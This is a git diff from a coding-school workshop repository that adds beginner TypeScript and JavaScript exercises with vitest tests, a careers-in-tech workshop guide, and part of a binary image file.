() => { + // @ts-expect-error + expect(user.age).toBeTypeOf("number"); + }); + it("has an isTrainee of type boolean", () => { + // @ts-expect-error + expect(user.isTrainee).toBeTypeOf("boolean"); + }); + it("has a valid completedCourse", () => { + // @ts-expect-error + expect(user.completedCourses[0]).to.be.oneOf([ + "ITD", + "ITP", + "Piscine", + "SDC", + ]); + }); + it("has a valid address", () => { + // @ts-expect-error + expect(user.address).toSatisfy( + (v) => typeof v === "string" || v === undefined + ); + }); +}); diff --git a/introduction-to-typescript/src/tests/exercise2.test.ts b/introduction-to-typescript/src/tests/exercise2.test.ts new file mode 100644 index 00000000..c324d67e --- /dev/null +++ b/introduction-to-typescript/src/tests/exercise2.test.ts @@ -0,0 +1,15 @@ +import { it, expect, expectTypeOf, describe } from "vitest"; +import { addTwoNumbers } from "../exercise2"; + +/** Do not change the tests below. All tests can be made to pass by editing the exercise2.ts file instead */ +describe("addTwoNumbers", () => { + it("adds two numbers", () => { + expect(addTwoNumbers(3, 6)).toEqual(9); + }); + it("should have a return type of number", () => { + expectTypeOf(addTwoNumbers).returns.toBeNumber(); + }); + it("should have two parameters of type number", () => { + expectTypeOf(addTwoNumbers).parameters.toEqualTypeOf<[number, number]>(); + }); +}); diff --git a/introduction-to-typescript/src/tests/exercise3.test.ts b/introduction-to-typescript/src/tests/exercise3.test.ts new file mode 100644 index 00000000..376d3d34 --- /dev/null +++ b/introduction-to-typescript/src/tests/exercise3.test.ts @@ -0,0 +1,12 @@ +import { describe, expect, it } from "vitest"; +import { tryCatchDemo } from "../exercise3"; + +/** Do not change the tests below. All tests can be made to pass by editing the exercise3.ts file instead */ +describe("tryCatchDemo", () => { + it("does not return an error message when state is 'succeed'", () => { + expect(tryCatchDemo("succeed")).toEqual("No errors!"); + }); + it("returns the error message when state is 'fail'", () => { + expect(tryCatchDemo("fail")).toEqual("Failure!"); + }); +}); diff --git a/introduction-to-typescript/tsconfig.exercise2.json b/introduction-to-typescript/tsconfig.exercise2.json new file mode 100644 index 00000000..5741448a --- /dev/null +++ b/introduction-to-typescript/tsconfig.exercise2.json @@ -0,0 +1,7 @@ +{ + "extends": "./tsconfig.json", + "include": ["src/tests/exercise2.test.ts", "src/exercise2.ts"], + "comments": { + "file": "This file exists to ensure that vitest's temperamental compile-time typechecking only runs against exercise 2. Without this config, other files will be typechecked when running exercise 2." + } +} diff --git a/introduction-to-typescript/tsconfig.json b/introduction-to-typescript/tsconfig.json new file mode 100644 index 00000000..e4fc27cb --- /dev/null +++ b/introduction-to-typescript/tsconfig.json @@ -0,0 +1,14 @@ +{ + "compilerOptions": { + "target": "es2017", + "module": "commonjs", + "strict": true, + "esModuleInterop": true, + "moduleResolution": "node", + "outDir": "./dist", + "rootDir": "./src", + "skipLibCheck": true, + "noImplicitAny": false + }, + "include": ["src"] +} diff --git a/introduction-to-typescript/vitest.config.ts b/introduction-to-typescript/vitest.config.ts new file mode 100644 index 00000000..e2c06081 --- /dev/null +++ b/introduction-to-typescript/vitest.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from "vitest/config"; + +export default defineConfig({ + test: { + bail: 1, + typecheck: { + enabled: true, + include: ["src/tests/exercise2.test.ts", "src/exercise2.ts"], // Exercise 2 is the only exercise utilising vitest typechecking. This ensures other files aren't unexpectedly checked + tsconfig: "tsconfig.exercise2.json", + }, + }, +}); diff --git a/jobs-in-tech/README.md b/jobs-in-tech/README.md new file mode 100644 index 00000000..afa4e895 --- /dev/null +++ b/jobs-in-tech/README.md @@ -0,0 +1,75 @@ +# Your First Job in Tech + +## Learning objectives + +```objectives +- [ ] List at least 3 common entry-level roles in tech, what they entail, and their necessary skills +- [ ] Take the first actionable steps toward a career in tech. +- [ ] Describe your plan about your own career in tech +``` + +## What jobs are available in the tech industry? + +Some of your will become software developers. It's a great path, but there are also other great jobs in the tech industry. So let's work together in understanding the different roles out there. + +### Let's do some research + +1. Make pairs or small groups of 3-4. Research what jobs are available in tech industry. You can also use these [CompTIA Career Pathways](https://www.comptia.org/en/explore-careers/job-roles/?page=1&category=all) or +[TechCareerExplorer](https://www.careerexplorer.com/careers/?industry=42) as reference. Each group should chose one of these families of roles to research: +- Engineering roles +- Low code roles +- Tech jobs without coding +- IT jobs + +Write 1 role per post it. (10 min) + +2. Choose a wall (or, if online, use a Miro board or similar), and walk through each post it. See if you can explain the role - and if you can't, ask if anyone in the group can. (15 min) + +3. Pick one role from each group and let's identify more about it: (15 min) + 🎯 Job Title \ + 🧠 What do they actually do all day? \ + 💬 Tools or software they use (Google it!) \ + 📈 How to get this job: Degree? Certifications? Courses? \ + 📋 Skills needed (soft and hard) \ + 🔍 Find a real job post and copy 1 key requirement + +4. Present the role back to the group. + +
                      + +Hint for volunteers + +Make sure we've covered: + +* Engineering roles: Software developer, Quality Engineer, Site Reliability Engineer +* Low code roles: Low-code Dev and No-code Dev, Wordpress Developer, Database administrator +* Jobs in tech without coding: Scrum Master, Manual tester, Business Analyst, +* IT Jobs: IT Analyst, IT Support + +
                      + + +## Which one is for me? + +As we said in the start of this workshop, software developer is one of the many paths in the tech. And CodeYourFuture wants to support you in your chosen career. + +
                      + +Hint for volunteers + +Focus on transferable skills and new skills, as well as what is their reality and availability to get ready for it + +
                      + +Get together in pairs and talk about your own career path considering what you learned today. Use the below scripts to reflect on (5 min) +- What are your good professional skills, the ones everyone always praises you about? +- From the roles we discussed, which one are you most interested and why? +- What will be your next steps to focus on getting this role? +- What will be the blockers I will have? + +Write down your career action plan, which you can discuss further with your Career mentor: +- 💼 Job I want to explore more: +- 🎓 Skills I need to learn: +- 📚 Free resources I’ll start with: +- 🧑‍🤝‍🧑 A person/community I’ll reach out to: +- 📆 3 Things I’ll do this week: \ No newline at end of file diff --git a/js1-wk1-eval/level-100.js b/js1-wk1-eval/level-100.js new file mode 100644 index 00000000..15d627bb --- /dev/null +++ b/js1-wk1-eval/level-100.js @@ -0,0 +1,9 @@ + + +// Use the Node REPL to evaluate: + +// a) 10 multiplied by 56 +// b) 59 divided by 7 ( to 4 decimal places ) +// c) 67 plus 100 + +// Write your answers below: \ No newline at end of file diff --git a/js1-wk1-eval/level-200.js b/js1-wk1-eval/level-200.js new file mode 100644 index 00000000..c1887876 --- /dev/null +++ b/js1-wk1-eval/level-200.js @@ -0,0 +1,16 @@ + +// Part 1: Without running code, +// Use documentation to evaluate Math.trunc() and Math.floor() for each of the numbers below. +// Write your answers down below: + +// a) 10.53 For example, Math.trunc(10.53) evaluates to 10, Math.floor(10.53) evaluates to 10 +// b) 170.105 +// c) -0.34 +// d) -8.921 + +// Part 2: Use the Node REPL to check your answers to Part 1) +// Part 3: Using Part 2, explain the difference between Math.trunc() and Math.floor() in your own words + + + + diff --git a/js1-wk1-eval/level-300.js b/js1-wk1-eval/level-300.js new file mode 100644 index 00000000..da4ee3ca --- /dev/null +++ b/js1-wk1-eval/level-300.js @@ -0,0 +1,12 @@ + + +const day = "Friday"; +const month = "September"; +const date = 29; +const time = "21:49"; + +const macTimeDisplay = `${day.slice(0,3)} ${date} ${month.slice(0,3)} ${time}`; + +// Before running code, answer the following - write down your answers: +// a) how many function calls are there in this file? +// b) predict and explain what macTimeDisplay will evaluate to. You can use documentation to look up slice diff --git a/js1-wk1-eval/level-400.js b/js1-wk1-eval/level-400.js new file mode 100644 index 00000000..c3372a78 --- /dev/null +++ b/js1-wk1-eval/level-400.js @@ -0,0 +1,14 @@ +let confession = ` +My secret is that I really like cake. +Sometimes I sneak into the fridge at night and steal my housemate's cake +`; + +const secret = "cake"; +confession = confession.replaceAll(secret,'x'.repeat(secret.length)); + + +// a) How many function calls are there in this file? +// b) Explain what the expression confession.replaceAll(secret,'x'.repeat(secret.length)); is doing +// c) How many inputs do we pass to replaceAll when we call it? How can you tell? +// d) How any inputs do we pass to repeat when we call it? How can you tell? +// e) What kind of statement is on line 7? \ No newline at end of file diff --git a/js1-wk1-eval/level-500.js b/js1-wk1-eval/level-500.js new file mode 100644 index 00000000..74846ea9 --- /dev/null +++ b/js1-wk1-eval/level-500.js @@ -0,0 +1,7 @@ + + +const avgDaysInMonth = Math.floor(365 / 12); + +// Without running any code, +// Predict and explain what the value of avgDaysInMonth will evaluate to +// You can use documentation to look up what Math.floor does \ No newline at end of file diff --git a/js1-wk1-eval/level-600.js b/js1-wk1-eval/level-600.js new file mode 100644 index 00000000..e9a7606a --- /dev/null +++ b/js1-wk1-eval/level-600.js @@ -0,0 +1,8 @@ + +// Go to https://www.datecalculator.org/day-of-the-year + +// Declare a variable dayNumberOfTheYear with the value from this website + +// Declare a new variable daysLeftInTheYear by forming an expression with dayNumberOfTheYear + +// Use console.log to check your answer diff --git a/js1-wk1-eval/level-700.js b/js1-wk1-eval/level-700.js new file mode 100644 index 00000000..09b32e4d --- /dev/null +++ b/js1-wk1-eval/level-700.js @@ -0,0 +1,6 @@ +let total = console.log(10,32); + +console.log(total); + +// Without running the code, predict and explain what total will evaluate to +// Use the JS1 Week 1 prep to help you work \ No newline at end of file diff --git a/js1-wk1-eval/level-800.js b/js1-wk1-eval/level-800.js new file mode 100644 index 00000000..ee9c4c30 --- /dev/null +++ b/js1-wk1-eval/level-800.js @@ -0,0 +1,10 @@ +const post = +`Meta +How AI Influences What You See on Facebook and Instagram +We’re making it easier to control what you see on Facebook and Instagram, +and sharing more info on how our AI systems rank content.` + +const updatedPost = post.replaceAll('Facebook','Meta'); + +// Use documentation to work out what updatedPost will evaluate to. +// Don't run any code for this task \ No newline at end of file diff --git a/js1-wk1-eval/level-900.js b/js1-wk1-eval/level-900.js new file mode 100644 index 00000000..3895ad3b --- /dev/null +++ b/js1-wk1-eval/level-900.js @@ -0,0 +1,8 @@ + + + +const mitchAge = 33; +const grandFatherAge = 83; + +// Create a variable called ageGap and assign to it the difference between grandFatherAge and mitchAge +// Log the value of ageGap to the console diff --git a/js1-wk1-eval/level-999.js b/js1-wk1-eval/level-999.js new file mode 100644 index 00000000..e1d5c1bd --- /dev/null +++ b/js1-wk1-eval/level-999.js @@ -0,0 +1,12 @@ + +// Without running code, +// predict and explain what will get logged to the console for each line below +// think carefully about the difference between each line +// write down your predictions +// Look up documentation for Math.abs if you've not used it before + +console.log(Math.abs); +console.log(Math.abs()); +console.log(Math.abs(-100)); + +// Run the file with Node to check your answer \ No newline at end of file diff --git a/js1-wk1-eval/readme.md b/js1-wk1-eval/readme.md new file mode 100644 index 00000000..f4a7f01b --- /dev/null +++ b/js1-wk1-eval/readme.md @@ -0,0 +1,21 @@ +# Learning to evaluate your understanding + +## 🎓 Instructions + +This workshop aims to _check your understanding_. + +Each task will explain whether or not you should run the code. + +- For each task, use your [prep](https://programming.codeyourfuture.io/structuring-data/prep) [materials](https://programming.codeyourfuture.io/structuring-data/sprints/1/prep/) to help you with the questions. +- You can also use documentation to look up any functions that are unfamiliar. +- Don't use ChatGPT or any other AI tool to help you. We are practising how to check our own understanding. You are finding out what you need to work on. Make notes as you go along to help you focus what to work on in study group. + +## 🧰 Setup + 👉 This workshop lives on [CYF-Workshops on GitHub](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/js1-wk1-eval) + +1. Get into pairs or groups of up to three. +2. Make sure you have [a clone of the CYF-Workshops](https://github.com/CodeYourFuture/CYF-Workshops) repository on your local machine + +Each file contains a different problem at a particular level. Start this project at **Level 100** and then move up through the levels: **level 200**, **300** ... + +🏁 [Go to Level 100](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/js1-wk1-eval/level-100.js) diff --git a/jwt/auth-conversation.avif b/jwt/auth-conversation.avif new file mode 100644 index 0000000000000000000000000000000000000000..def22b8a621ee9f08ccaeb88ec6944b19b547133 GIT binary patch literal 86548 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 